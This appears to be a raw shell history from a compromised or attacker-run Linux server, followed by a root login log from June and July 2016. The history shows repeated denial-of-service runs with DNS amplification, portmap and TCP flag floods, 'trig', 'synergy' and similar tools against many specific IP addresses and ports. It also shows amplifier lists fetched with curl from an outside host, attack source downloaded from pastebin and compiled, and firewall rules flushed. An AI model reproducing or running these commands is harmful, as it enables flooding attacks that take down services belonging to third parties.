screen -dm php root.php;top -c
top -c
killall screen;./dns 31.13.95.36 53 dns_amp.txt 20 300
screen -dm php root.php
./dns 50.56.6.255 53 dns_amp.txt 20 300
c./dns 54.239.25.200 443 dns_amp.txt 20 300
./dns 54.239.25.200 443 dns_amp.txt 20 300
sh meow.sh 54.239.25.200 443
./dns 205.251.245.168 53 dns_amp.txt 20 300
sh meow.sh 24.105.31.8 53
sh meow.sh 24.105.28.10 1119
./dns 37.244.10.48 53 dns_amp.txt 20 300
killall screen;./dns 37.244.10.35 53 dns_amp.txt 20 300
killall screen;./dns 24.105.28.10 53 dns_amp.txt 20 300
screen -dm php root.php
./dns 37.244.10.35 53 dns_amp.txt 20 300
./dns 37.244.0.3 80 dns_amp.txt 20 300
./dns 37.244.4.48 53 dns_amp.txt 20 300
killall screen
screen -dm php root.php
./stcp 24.105.28.10 1119 10 -1 60 ack
./stcp 24.105.28.10 1119 20 -1 300 ack
top -c
killall screen;screen -dm php root.php
./stcp 24.105.28.10 1119 20 -1 300 ack
./dominate 24.105.28.10 1119 10 -1 300
sh meow.sh 24.105.28.10 1119
sh meow.sh 24.105.29.40 443
./dns 24.105.29.40 443 dns_amp.txt 20 300
./stcp 24.105.28.10 1119 20 -1 300 ack
./dns 37.244.0.101 53 dns_amp.txt 10 300
./dns 37.244.0.101 53 dns_amp.txt 20 300
./dns 24.105.31.4 53 dns_amp.txt 10 300
top -c
sh meow.sh 173.223.190.173 443
killall screen;screen -dm php root.php;./dns 185.25.182.155 80 dns_amp.txt 20 300
./dns 162.254.198.50 80 dns_amp.txt 20 300
top -c
killall screen;screen -dm php root.php
./dns 37.244.0.101 53 dns_amp.txt 20 300
./stcp 24.105.28.10 1119 10 -1 30 ack
./stcp 24.105.28.10 1119 10 -1 30 syn
./stcp 24.105.28.10 1119 10 -1 7200 syn | dstat
killall screen;screen -dm php root.php;./dns 157.56.71.22 80 dns_amp.txt 20 300
killall screen;screen -dm php root.php;./dns 104.44.9.237 53 dns_amp.txt 20 300
killall screen;screen -dm php root.php;./dns 80.249.209.20 53 dns_amp.txt 20 300
./dns 37.244.10.48 53 dns_amp.txt 20 300
./dns 80.249.208.83 53 dns_amp.txt 20 300
./dns 206.16.68.46 53 dns_amp.txt 20 300
./dns 24.105.31.31 53 dns_amp.txt 20 300
./dns 37.244.10.48 53 dns_amp.txt 20 300
./dns 24.105.28.10 1119 dns_amp.txt 20 300
./portmap 24.105.28.10 1119 portmap.txt 20 -1 60
./nflag 24.105.28.10 1119 20 -1 30
./stcp 24.105.28.10 1119 20 -1 60 fin
./stcp 24.105.28.10 1119 20 -1 60 rst
./stcp 24.105.28.10 1119 20 -1 60 psh
top -c
killall screen;screen -dm php root.php;./dns 185.2.222.10 53 dns_amp.txt 20 300
./dns 23.246.7.11 53 dns_amp.txt 20 300
./dns 23.246.14.18 53 dns_amp.txt 20 300
iptables –flush
screen -dm php root.php
service iptables stop
top -c
./trig -h 24.105.28.10 -p 1119,1119 -t 300 -I -N -T7
./trig -h 24.105.28.10 -p 1119,1119 -t 300 -I
service iptables restart; iptables –flush
./trig -h 24.105.28.10 -p 1119,1119 -t 300 -I
while true ; do ./trig -h 24.105.28.10 -p 1119,1119 -t 300 -I -N ; done
./dns 37.244.0.101 53 dns_amp.txt 20 300
./stcp  24.105.28.10 1119 20 -1 60 ack
./stcp  24.105.28.10 1119 20 -1 60 syn
./dns 10.104.1.34 53 dns_amp.txt 20 300
./dns 12.129.206.133 1119 dns_amp.txt 20 300
./stcp 12.129.206.133 1119 20 -1 300 ack
./stcp 12.129.206.133 1119 20 -1 300 syn
./dns 12.123.249.7 53 dns_amp.txt 20 300
./trig -h 12.129.206.133 -p 80,1119 -t 300 -I -N -T6
top -c
killall screen;screen -dm php root.php;./dns 37.244.0.101 53 dns_amp.txt 20 300
./stcp  24.105.28.10 1119 20 -1 60 syn
./stcp  24.105.28.10 1119 20 -1 3600 syn | dstat
./dns 24.105.28.10 1119 dns_amp.txt 20 300
./dns 24.105.28.10 1119 dns_amp.txt 20 3600
./dns 185.60.112.157 53 dns_amp.txt 20 300
./dns 80.249.208.83 53 dns_amp.txt 20 300
./dns 24.105.28.10 1119 dns_amp.txt 20 3600
./stcp  24.105.28.10 1119 20 -1 3600 syn | dstat
./stcp  24.105.28.10 1119 20 -1 3600 ack
./dns 37.244.0.101 53 dns_amp.txt 20 300
./dns  37.244.10.35 53 dns_amp.txt 20 300
./dns 24.105.28.10 1119 dns_amp.txt 20 3600
./dns 80.239.208.193 1119 dns_amp.txt 20 300
./stcp 80.239.208.193 1119 20 -1 600 ack
./dns 24.105.28.10 1119 dns_amp.txt 20 3600
./stcp  24.105.28.10 1119 20 -1 3600 ack
./stcp  24.105.28.10 1119 20 -1 3600 syn
top -c
killall screen;screen -dm php root.php;./dns 159.153.225.22 53 dns_amp.txt 20 300
./dns 159.153.93.2 53 dns_amp.txt 20 300
top -c
top -c
service iptables start
top -c
iptables –flush
service iptables start
top -c
killall screen;screen -dm php root.php;./dns 159.153.228.75 443 dns_amp.txt 20 300
top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
top -c
killall screen;screen -dm php root.php;./dns 40.115.34.155 80 dns_amp.txt 20 300
sh meow.sh 40.115.34.155 80
top -c
killall screen;./dns 109.163.224.34 53 dns_amp.txt 20 300
screen -dm php root.php;top -c
top -c
while true ; do ./trig -h 37.187.34.183 -p 22,3389 -t 60 -I ; done
while true ; do ./trig -h 46.105.15.92 -p 22,3389 -t 60 -I ; done
killall screen;screen -dm php root.php
./dns 37.59.62.49 80 dns_amp.txt 20 300
sh meow.sh 37.187.34.183 3389
./dns 37.187.34.183 3389 dns_amp.txt 20 300
./dns 94.23.122.76 53 dns_amp.txt 20 300
sh meow.sh 46.105.14.204 3389
./stcp 5.135.148.15 3389 20 -1 60 ack
./stcp 37.187.34.183 3389 20 -1 60 ack
./dns 37.187.36.245 53 dns_amp.txt 20 300
./dns 37.187.232.167 53 dns_amp.txt 20 300
./portmap 37.187.34.183 3389 portmap.txt 20 -1 300
./stcp 37.187.34.183 3389 20 -1 60 syn
./stcp 37.187.34.183 3389 20 -1 60 psh
./stcp 37.187.34.183 3389 20 -1 60 ack
./trig -h 37.187.34.183 -p 22,3389 -t 60 -I
./trig -h 37.187.34.183 -p 22,3389 -t 60 -T1
./trig -h 37.187.34.183 -p 22,3389 -t 60 -T7
./trig -h 37.187.34.183 -p 22,3389 -t 60 -T0 -I -N
./trig -h 94.23.122.76 -p 22,3389 -t 60 -T0 -I -N
./trig -h 37.187.232.167 -p 53,3389 -t 60 -I
./dns 37.187.34.183 80 dns_amp.txt 20 300
./dns 178.33.100.152 53 dns_amp.txt 20 300
./stcp 37.187.34.183 3389 -1 60 res2,ack,fin
./stcp 37.187.34.183 3389 20 -1 60 res2,ack,fin
./ovh 37.187.34.183 3389 ovh_amp.txt -1 20 300
./rip 37.187.34.183 3389 rip.txt 20 -1 60
./trig -h 46.105.14.204 -p 22,3389 -t 3600 -I
while true ; do ./trig -h 37.187.34.183 -p 22,3389 -t 60 -I ; done
killall screen;screen -dm php root.php
screen
killall screen;screen -dm php root.php
./dns 37.187.34.188 80 dns_amp.txt 20 300
./dns 37.187.231.168 53 dns_amp.txt 20 300
sh meow.sh 37.187.34.186 3389
sh meow.sh 37.187.34.187 3389
sh xbox.sh 37.187.34 3389 3 20 10
sh xbox.sh 37.187.34 3389 10 20 20
sh sony.sh 37.187.34 3389 5 10 30
killall screen;screen -dm php root.php
sh sony.sh 37.187.34 3389 10 20 20
sh xbox.sh 37.187.34 3389 10 20 20
sh xbox.sh 92.222.8 3389 10 20 20
sh xbox.sh 37.187.34 3389 1 30 30
top -c
יןדאםרט
history
ls
nano xbox.sh
top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen;screen -dm php root.php
./dns 104.193.184.250 53 dns_amp.txt 20 300
./dns 104.193.184.6 53 dns_amp.txt 20 60
./dns 104.193.186.6 53 dns_amp.txt 20 60
./dns 208.43.118.165 53 dns_amp.txt 10 300
./dns 192.30.253.113 53 dns_amp.txt 20 300
./dns 192.30.253.112 53 dns_amp.txt 20 300
clear
top -c
killall screen;screen -dm php root.php
sh meow.sh 157.56.71.16 80
killall screen;screen -dm php root.php
./stcp 157.56.71.16 80 20 -1 60 ack
./stcp 157.56.71.16 80 20 -1 300 ack
sh meow.sh 157.56.71.23 80
./dns 157.56.71.23 80 dns_amp.txt 20 300
./dns 157.56.71.22 53 dns_amp.txt 20 300
sh meow.sh 157.56.71.22 443
while true ; do ./trig 157.56.71.22 -p 80,443 -t 300 -U ; done
while true ; do ./trig -h 157.56.71.22 -p 80,443 -t 300 -U ; done
while true ; do ./trig -h 157.56.71.22 -p 80,443 -t 300 -I ; done
./dns 80.249.209.20 53 dns_amp.txt 20 300
killall screen;screen -dm php root.php;./dns 65.55.42.176 80 dns_amp.txt 20 300
sh meow.sh 65.55.42.176 443
./stcp 65.55.42.176 443 20 -1 300 ack
./dns 131.107.28.202 53 dns_amp.txt 20 300
./dns 131.107.200.86 53 dns_amp.txt 20 300
./dns 207.46.36.106 53 dns_amp.txt 20 300
./dns 80.249.209.20 53 dns_amp.txt 20 300
top -c
rm -rf portmap.txt;curl 93.174.95.38/portmap.txt | shuf > portmap.txt
killall screen
./portmap 109.163.224.34 80 portmap.txt 20 -1 300 | dstat
wget http://pastebin.com/raw/njTqnDCP -O portmap2.c
gcc -pthread portmap2.c -o portmap2
./portmap2 109.163.224.34 80 portmap.txt 20 60 | dstat
./portmap2 37.187.34.183 3389 portmap.txt 20 60 | dstat
./portmap 37.187.34.183 3389 portmap.txt 20 -1 60
screen -dm php root.php
top -c
killall screen;screen -dm php root.php
top -c
kilall screen;screen -dm php root.php
killall screen;screen -dm php root.php
./portmap2 157.56.71.22 111 portmap.txt 20 300
./portmap 157.56.71.22 53 portmap.txt 20 -1 60
rm -rf ipmi ipmi.c
nano ipmi.c
rm -rf ipmi.txt
wget http://pastebin.com/raw/pFahpZCN -O hbeat.c;gcc -pthread hbeat.c -o hbeat
wget 80.82.78.6/hbeat.txt
./hbeat 157.56.71.22 53 hbeat.txt 20 -1 60
top -c
killall screen;screen -dm php root.php
./dns 130.211.188.132 80 dns_amp.txt 20 300
sh meow.sh 130.211.188.132 443
./stcp 130.211.188.132 443 20 -1 60 ack
./dns 209.85.247.103 53 dns_amp.txt 20 300
./stcp 130.211.188.132 443 20 -1 60 ack
sh meow.sh 130.211.188.132 443
./portmap2 130.211.188.132 443 portmap.txt 20 60
./stcp 130.211.188.132 443 20 -1 80 syn
while true ; do ./trig -h 130.211.188.132 -p 80,443 -t 300 -I -N ; done
top -c
killall screen
./dns 130.211.188.132 80 dns_amp.txt 20 100 | dstat
screen -dm php root.php;top -c
top -c
killall screen;screen -dm php root.php;./dns 37.58.73.184 80 dns_amp.txt 20 300
./stcp 130.211.188.132 443 20 -1 60 ack
./trig -h 130.211.188.132 -p 443,443 -t 60 -I -T7
while true ; do ./trig -h 130.211.188.132 -p 443,443 -t 60 -I -T7 ; done
./dns 209.85.247.103 53 dns_amp.txt 20 300
./dns 209.85.244.83 53 dns_amp.txt 20 300
./dns 216.239.51.103 53 dns_amp.txt 20 300
./tcp 130.211.188.132 443 tcp_amp.txt 20 300
./essyn 130.211.188.132 443 10 -1 60
./dominate 130.211.188.132 443 10 -1 60
./stcp  130.211.188.132 443 20 -1 60 syn
./stcp  130.211.188.132 443 20 -1 60 ack
./stcp 54.241.32.9 443 20 -1 60 ack
killall screen;screen -dm php root.php
./stcp  130.211.188.132 443 20 -1 300 ack
top -c
top -c
killall screen;screen -dm php root.php
./stcp  130.211.188.132 443 20 -1 600 ack
./stcp  130.211.188.132 443 20 -1 600 ack
killall screen;screen -dm php root.php
./stcp  130.211.188.132 443 20 -1 3600 ack
ddd./stcp  130.211.188.132 443 20 -1 3600 ack
killall screen;screen -dm php root.php
./stcp  130.211.188.132 443 20 -1 3600 ack
killall screen;screen -dm php root.php
./stcp  130.211.188.132 80 20 -1 3600 ack
./stcp  130.211.188.132 443 20 -1 3600 ack
top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen;screen -dm php root.php
./stcp 104.197.6.208 443 20 -1 60 ack
./stcp 104.197.6.208 443 20 -1 60 seq
./stcp 104.197.6.208 443 20 -1 60 fin
./stcp 104.197.6.208 443 20 -1 60 ptr
./stcp 104.197.6.208 443 20 -1 60 urg
./stcp 104.197.6.208 443 20 -1 60 ptr
./stcp 104.197.6.208 443 20 -1 60 ack
./stcp 104.197.6.208 443 20 -1 60 fin,ack,ptr,urg
./dns 104.197.6.208 80 dns_amp.txt 20 300
while true ; do ./trig -h 104.197.6.208 -p 443,443 -t 60 -T7 -T6 ; done
while true ; do ./trig -h 104.197.6.208 -p 443,443 -t 60 -T7 ; done
./filter 104.197.6.208 80 dns_amp.txt 20 300
./udp 104.197.6.208 80 20 800 20 60
./essyn 104.197.6.208 443 10 -1 60
./stcp 104.197.6.208 443 10 -1 60 urg
./stcp 104.197.6.208 443 10 -1 60 ptr
top -c
killall screen;screen -dm php root.php
./stcp 54.164.61.184 80 20 -1 3600 ack
sh meow.sh 52.204.152.208 80
sh meow.sh 52.86.176.192 80
sh meow.sh 54.164.61.184 80
top -c
killall screen;screen -dm php root.php
sh meow.sh 104.197.6.208 443
./issyn 104.197.6.208 443 -1 60
./issyn 104.197.6.208 20 -1 60
perl rudp.pl 104.197.6.208 443 100
./ts3 104.197.6.208 443 ts3_amp.txt 20 300
top -c
killall screen;screen -dm php root.php
./dns 184.106.55.230 80 dns_amp.txt 20 300
./stcp 161.47.9.222 80 20 -1 300 ack
./stcp 161.47.9.222 80 20 -1 3600 ack
killall screen;screen -dm php root.php;./dns 161.47.9.222 80 dns_amp.txt 20 300
top -c
killall screen;screen -dm php root.php
./dns 161.47.9.222 80 dns_amp.txt 20 300
killall screen;screen -dm php root.php;./dns 184.106.55.122 80 dns_amp.txt 20 300
killall screen;screen -dm php root.php;./dns 50.56.6.5 53 dns_amp.txt 20 300
sh meow.sh 184.106.55.222 80
sh meow.sh 161.47.9.221 80
sh meow.sh 161.47.9.223 80
killall screen;screen -dm php root.php
./dns 50.56.6.255 53 dns_amp.txt 10 300
sh xbox.sh 161.47.9 80 1
sh xbox.sh 161.47.9 80 5
killall screen;screen -dm php root.php
./dns 23.253.15.71 53 dns_amp.txt 10 300
./dns 173.203.0.133 53 dns_amp.txt 20 300
sh xbox.sh 184.106.55 80 5
rm -rf sony.sh
nano sony.sh
killall screen;screen-dm php root.php
killall screen;screen -dm php root.php
sh sony.sh 161.47.9 80 10 5 2
top -c
killall screen;screen-dm php root.php
top -c
killall screen;screen -dm php root.php
sh xbox.sh 184.106.55 80 10 5 5
sh xbox.sh 184.106.55 80 0 5 5
sh xbox.sh 184.106.55 80 1 5 5
sh xbox.sh 184.106.55 22 1 5 5
sh xbox.sh 184.106.55 443 1 5 5
./stcp 184.106.55.221 443 20 -1 300 ack
./stcp 184.106.55.221 443 20 -1 300 syn
./stcp 184.106.55.221 443 20 -1 300 urg
./trig -h 184.106.55.221 -p 80,443 -t 300 -U
sh meow.sh 184.106.55.77 80
sh meow.sh 184.106.55.251 80
killall screen;screen -dm php root.php
sh meow.sh 104.20.49.171 80
killall screen;screen -dm php root.php;./dns 104.20.49.171 80 dns_amp.txt 20 300
./dns 104.20.48.171 80 dns_amp.txt 20 300
./stcp 104.20.48.171 8080 20 -1 600 syn
./stcp 104.20.48.171 80 20 -1 600 syn
./dns 104.20.49.171 80 dns_amp.txt 20 300
sh meow.sh 184.106.55.102 80
sh meow.sh 184.106.55.101 80
./stcp 184.106.55.102 80 20 -1 100 ack
./dns 184.106.55.102 80 dns_amp.txt 20 300
./stcp 184.106.55.102 443 20 -1 300 fin
./stcp 184.106.55.102 443 20 -1 300 ptr
./stcp 184.106.55.102 443 20 -1 300 syn
./dns 80.239.160.50 53 dns_amp.txt 20 300
./dns 173.203.0.129 53 dns_amp.txt 20 300
./dns 184.106.126.125 53 dns_amp.txt 20 300
./dns 50.56.6.11 53 dns_amp.txt 20 300
sh meow.sh 184.106.55.101 80
./dns 80.239.160.50 53 dns_amp.txt 20 300
./dns 50.56.6.165 53 dns_amp.txt 20 300
./portmap 184.106.55.102 80 portmap.txt 20 -1 60
./udp 184.106.55.102 80 20 800 20 60
./udp 184.106.55.102 80 20 10 20 60
sh meow.sh 184.106.55.77 443
sh meow.sh 184.106.55.103 80
./synergy 184.106.55.102:80 bond0 -t 60 -p 1 -d 1
./synergy 184.106.55.102:80 bond0 -t 60 -p 2 -d 1
./synergy 184.106.55.102:80 bond0 -t 60 -p 0 -d 1
./dns  173.203.0.129 53 dns_amp.txt 20 300
top -c
ps x | grep “SCREEN” | wc -l
top -c
killall screen;screen -dm php root.php;./dns 130.211.14.80 80 dns_amp.txt 20 300
./stcp 130.211.14.80 443 20 -1 60 ptr
./stcp 130.211.14.80 443 20 -1 60 ack
./stcp 130.211.14.80 443 20 -1 60 urg
sh meow.sh 130.211.14.80 443
./dns 216.239.42.173 53 dns_amp.txt 20 300
./synergy 130.211.14.80:443 bond0 -t 60 -p 1 -d 1
top -c
killall screen;screen -dm php root.php
sh meow.sh 184.106.55.102 80
./dns 184.106.126.125 53 dns_amp.txt 20 300
./dns 23.253.15.71 53 dns_amp.txt 20 300
sh meow.sh 184.106.55.104 80
sh meow.sh 184.106.55.106 80
sh meow.sh 161.47.9.221 80
top -c
killall screen;screen -dm php root.php;./dns 185.45.192.151 80 dns_amp.txt 20 300
killall screen;screen -dm php root.php
sh meow.sh 104.24.8.64 80
rm -rf synergy.c synergy
nano synergy.c
gcc -pthread synergy.c -o synergy
killall screen
screen -dm php root.php
./synergy 104.24.9.64:443 bond0 -t 300 -p 2 -d 1
killall screen;screen -dm php root.php;./dns 104.24.9.64 80 dns_amp.txt 20 600
killall screen;screen -dm php root.php;./dns 104.24.8.64 80 dns_amp.txt 20 600
./stcp 104.24.9.64 80 10 -1 600 syn
top -c
killall screen;screen -dm php root.php;./dns 2.20.142.33 80 dns_amp.txt 20 300
killall screen;screen -dm php root.php;./dns 72.247.181.1 80 dns_amp.txt 20 300
top -c
killall screen;screen -dm php root.php;sh meow.sh 161.47.9.221 80
killall screen;screen -dm php root.php;sh meow.sh 161.47.9.223 80
sh meow.sh 205.186.183.64 80
sh meow.sh 216.70.123.73 80
killall screen;screen -dm php root.php
./stcp 216.70.123.73 80 20 -1 3600 ack
./dns 216.70.123.73 80 dns_amp.txt 10 3600
sh meow.sh 216.70.123.72 80
sh meow.sh 216.70.123.74 80
sh meow.sh 216.70.123.76 80
sh meow.sh 216.70.123.77 80
sh meow.sh 216.70.123.78 80
top -c
ps x | grep “SCREEN” | wc -l
top -c
screen ./dns 98.142.103.234 80 dns_amp.txt 5 3600
screen ./dns 98.142.103.234 80 dns_amp.txt 5 86400
dstat
top -c
killall screen;screen -dm php root.php;sh meow.sh 91.218.132.135 80
./dns 91.218.132.135 80 dns_amp.txt 20 300
./stcp 91.218.132.135 80 20 -1 60 ack
./dominate 91.218.132.135 443 10 -1 600
./stcp 82.146.55.16 80 20 -1 60 ack
top -c
ping 204.88.128.14
top -c
dstat
top -c
killall screen;screen -dm php root.php
sh meow.sh 213.95.206.41 80
sh meow.sh 52.29.17.174 80
sh meow.sh 85.13.139.117 80
./stcp 85.13.139.117 80 20 -1 60 ack
./dns 85.13.128.191 80 dns_amp.txt 20 300
./dns 85.13.139.118 80 dns_amp.txt 10 300
./dns 212.162.11.134 53 dns_amp.txt 20 300
sh meow.sh 85.13.139.118 80
sh meow.sh 85.13.128.193
sh meow.sh 85.13.128.193 80
./dns 85.13.128.193 80 dns_amp.txt 20 300
top -c
killall screen;screen -dm php root.php;./dns 78.136.6.154 80 dns_amp.txt 20 300

Logins to this server:

root     pts/2        87.71.44.141     Tue Jul 26 18:31:20 2016 - Tue Jul 26 21:06:36 2016  (02:35)
root     pts/2        79.181.31.162    Tue Jul 26 10:49:51 2016 - Tue Jul 26 14:21:01 2016  (03:31)
root     pts/2        79.181.31.162    Tue Jul 26 07:38:14 2016 - Tue Jul 26 08:35:52 2016  (00:57)
root     pts/8        79.181.31.162    Mon Jul 25 22:28:41 2016 - Mon Jul 25 22:35:18 2016  (00:06)
root     pts/2        79.181.31.162    Mon Jul 25 05:55:42 2016 - Mon Jul 25 05:58:11 2016  (00:02)
root     pts/8        79.181.31.162    Sun Jul 24 15:09:30 2016 - Sun Jul 24 15:12:38 2016  (00:03)
root     pts/3        87.71.44.141     Sat Jul 23 22:39:38 2016 - Sun Jul 24 11:22:32 2016  (12:42)
root     pts/3        109.64.112.134   Fri Jul 22 23:04:03 2016 - Fri Jul 22 23:07:59 2016  (00:03)
root     pts/3        109.64.112.134   Thu Jul 21 23:09:35 2016 - Fri Jul 22 10:30:26 2016  (11:20)
root     pts/5        109.64.112.134   Thu Jul 21 12:02:51 2016 - Thu Jul 21 13:54:07 2016  (01:51)
root     pts/3        109.64.112.134   Thu Jul 21 07:22:18 2016 - Thu Jul 21 07:26:05 2016  (00:03)
root     pts/5        109.64.112.134   Thu Jul 21 01:04:32 2016 - Thu Jul 21 01:17:53 2016  (00:13)
root     pts/4        109.67.128.98    Wed Jul 20 22:37:07 2016 - Thu Jul 21 00:15:22 2016  (01:38)
root     pts/6        109.67.20.229    Wed Jul 20 10:07:23 2016 - Wed Jul 20 17:54:42 2016  (07:47)
root     pts/2        109.67.20.229    Wed Jul 20 01:31:35 2016 - Wed Jul 20 04:44:12 2016  (03:12)
root     pts/1        87.71.44.141     Tue Jul 19 22:31:12 2016 - Fri Jul 22 21:03:11 2016 (2+22:31)
root     pts/7        87.71.44.141     Tue Jul 19 20:23:14 2016 - Tue Jul 19 22:30:47 2016  (02:07)
root     pts/2        109.67.20.229    Tue Jul 19 02:45:21 2016 - Tue Jul 19 02:52:46 2016  (00:07)
root     pts/2        109.67.20.229    Tue Jul 19 01:40:48 2016 - Tue Jul 19 02:45:15 2016  (01:04)
root     pts/1        109.67.20.229    Mon Jul 18 20:50:42 2016 - Tue Jul 19 03:12:36 2016  (06:21)
root     pts/3        109.67.20.229    Mon Jul 18 19:14:30 2016 - Mon Jul 18 19:45:46 2016  (00:31)
root     pts/3        109.67.20.229    Sun Jul 17 10:25:35 2016 - Sun Jul 17 11:37:19 2016  (01:11)
root     pts/2        109.67.20.229    Sun Jul 17 02:51:19 2016 - Sun Jul 17 08:49:53 2016  (05:58)
root     pts/2        79.178.159.61    Fri Jul 15 14:39:13 2016 - Sat Jul 16 02:49:40 2016  (12:10)
root     pts/9        87.71.44.141     Fri Jul 15 13:35:02 2016 - Tue Jul 19 20:27:18 2016 (4+06:52)
root     pts/3        79.183.49.31     Thu Jul 14 18:57:40 2016 - Thu Jul 14 19:11:43 2016  (00:14)
root     pts/1        79.183.49.31     Wed Jul 13 23:20:49 2016 - Thu Jul 14 18:57:34 2016  (19:36)
root     pts/5        79.182.49.20     Wed Jul 13 04:43:07 2016 - Wed Jul 13 07:08:51 2016  (02:25)
root     pts/6        87.71.44.141     Tue Jul 12 23:19:28 2016 - Fri Jul 15 05:40:15 2016 (2+06:20)
root     pts/3        87.71.44.141     Tue Jul 12 21:53:14 2016 - Wed Jul 13 00:04:34 2016  (02:11)
root     pts/4        79.182.49.20     Tue Jul 12 18:41:05 2016 - Tue Jul 12 20:58:47 2016  (02:17)
root     pts/0        87.71.44.141     Tue Jul 12 15:57:53 2016 - Tue Jul 12 15:58:47 2016  (00:00)
root     pts/11       87.71.44.141     Tue Jul 12 13:11:51 2016 - Tue Jul 12 22:28:00 2016  (09:16)
root     pts/9        87.71.44.141     Tue Jul 12 11:42:55 2016 - Tue Jul 12 14:04:25 2016  (02:21)
root     pts/4        79.183.53.254    Mon Jul 11 22:33:34 2016 - Tue Jul 12 04:00:37 2016  (05:27)
root     pts/2        79.183.53.254    Mon Jul 11 22:06:44 2016 - Tue Jul 12 15:00:32 2016  (16:53)
root     pts/5        79.183.53.254    Sun Jul 10 20:33:38 2016 - Sun Jul 10 21:01:41 2016  (00:28)
root     pts/7        79.183.53.254    Sun Jul 10 15:25:47 2016 - Sun Jul 10 21:34:21 2016  (06:08)
root     pts/2        79.183.53.254    Sun Jul 10 13:48:15 2016 - Sun Jul 10 14:57:56 2016  (01:09)
root     pts/2        79.183.53.254    Sun Jul 10 04:50:17 2016 - Sun Jul 10 09:02:05 2016  (04:11)
root     pts/2        79.183.53.254    Sun Jul 10 02:54:37 2016 - Sun Jul 10 03:04:12 2016  (00:09)
root     pts/6        79.183.53.254    Sun Jul 10 01:31:45 2016 - Sun Jul 10 01:52:32 2016  (00:20)
root     pts/5        79.183.53.254    Sat Jul  9 21:21:03 2016 - Sat Jul  9 21:28:59 2016  (00:07)
root     pts/4        87.71.44.141     Sat Jul  9 03:41:48 2016 - Mon Jul 11 08:38:25 2016 (2+04:56)
root     pts/7        79.183.53.254    Sat Jul  9 01:21:58 2016 - Sat Jul  9 01:22:30 2016  (00:00)
root     pts/2        87.71.44.141     Fri Jul  8 02:50:34 2016 - Sat Jul  9 04:38:43 2016 (1+01:48)
root     pts/1        87.71.44.141     Thu Jul  7 21:38:30 2016 - Fri Jul  8 00:03:48 2016  (02:25)
root     pts/2        79.179.23.143    Thu Jul  7 19:05:59 2016 - Thu Jul  7 20:17:40 2016  (01:11)
root     pts/3        87.71.44.141     Thu Jul  7 10:11:27 2016 - Thu Jul  7 21:38:14 2016  (11:26)
root     pts/5        79.181.203.239   Thu Jul  7 07:56:15 2016 - Thu Jul  7 14:56:45 2016  (07:00)
root     pts/10       77.124.0.112     Wed Jul  6 08:27:23 2016 - Thu Jul  7 10:38:58 2016 (1+02:11)
root     pts/3        79.179.188.167   Wed Jul  6 03:36:53 2016 - Wed Jul  6 21:24:52 2016  (17:47)
root     pts/3        87.70.126.202    Mon Jul  4 23:01:51 2016 - Mon Jul  4 23:24:15 2016  (00:22)
root     pts/1        87.70.53.174     Mon Jul  4 14:38:21 2016 - Mon Jul  4 21:34:55 2016  (06:56)
root     pts/3        79.176.100.237   Sun Jul  3 00:58:58 2016 - Sun Jul  3 02:43:17 2016  (01:44)
root     pts/1        87.70.53.174     Sat Jul  2 02:43:04 2016 - Mon Jul  4 14:38:02 2016 (2+11:54)
root     pts/7        79.176.100.237   Fri Jul  1 19:48:14 2016 - Fri Jul  1 20:33:02 2016  (00:44)
root     pts/1        79.176.100.237   Fri Jul  1 01:53:48 2016 - Fri Jul  1 01:55:11 2016  (00:01)
root     pts/3        79.176.100.237   Thu Jun 30 20:18:43 2016 - Thu Jun 30 22:14:56 2016  (01:56)
root     pts/2        79.176.100.237   Thu Jun 30 09:02:16 2016 - Thu Jun 30 18:11:13 2016  (09:08)
root     pts/8        79.176.100.237   Wed Jun 29 15:27:55 2016 - Wed Jun 29 15:34:10 2016  (00:06)
root     pts/6        87.70.53.174     Wed Jun 29 07:09:00 2016 - Fri Jul  1 05:15:31 2016 (1+22:06)
root     pts/1        87.70.53.174     Wed Jun 29 02:12:20 2016 - Wed Jun 29 06:42:18 2016  (04:29)
root     pts/1        87.70.53.174     Wed Jun 29 01:54:03 2016 - Wed Jun 29 02:12:16 2016  (00:18)
root     pts/0        87.70.53.174     Wed Jun 29 00:08:08 2016 - Wed Jun 29 02:26:52 2016  (02:18)
root     pts/0        87.70.53.174     Tue Jun 28 23:11:29 2016 - Wed Jun 29 00:05:21 2016  (00:53)
reboot   system boot  0.0.0.0          Tue Jun 28 23:10:54 2016 - Wed Jul 27 04:07:29 2016 (28+04:56)
root     pts/8        87.70.53.174     Tue Jun 28 14:15:24 2016 - down                      (08:54)
root     pts/3        79.176.100.237   Mon Jun 27 17:22:55 2016 - Tue Jun 28 08:37:28 2016  (15:14)
root     pts/3        87.70.53.174     Mon Jun 27 11:02:57 2016 - Mon Jun 27 14:53:10 2016  (03:50)
root     pts/6        79.176.100.237   Sun Jun 26 17:43:53 2016 - Sun Jun 26 21:05:37 2016  (03:21)
root     pts/9        87.70.53.174     Sun Jun 26 12:58:03 2016 - Sun Jun 26 16:19:18 2016  (03:21)
root     pts/0        79.176.100.237   Sun Jun 26 11:25:25 2016 - Sun Jun 26 15:21:58 2016  (03:56)
root     pts/9        87.70.53.174     Sun Jun 26 10:46:47 2016 - Sun Jun 26 12:57:58 2016  (02:11)
root     pts/2        87.70.53.174     Sun Jun 26 02:51:11 2016 - Sun Jun 26 03:11:31 2016  (00:20)
root     pts/8        87.68.106.186    Sun Jun 26 01:31:38 2016 - Sun Jun 26 02:20:44 2016  (00:49)
root     pts/0        87.68.106.186    Sat Jun 25 19:52:35 2016 - Sun Jun 26 01:03:54 2016  (05:11)
root     pts/2        79.176.100.237   Sat Jun 25 19:38:24 2016 - Sat Jun 25 19:54:46 2016  (00:16)
root     pts/0        77.124.54.56     Sat Jun 25 16:59:56 2016 - Sat Jun 25 17:18:37 2016  (00:18)
root     pts/0        77.124.54.56     Sat Jun 25 16:56:11 2016 - Sat Jun 25 16:59:43 2016  (00:03)
root     pts/3        79.176.100.237   Sat Jun 25 14:09:00 2016 - Sat Jun 25 14:09:01 2016  (00:00)
root     pts/9        79.176.100.237   Sat Jun 25 13:43:07 2016 - Sat Jun 25 14:08:28 2016  (00:25)
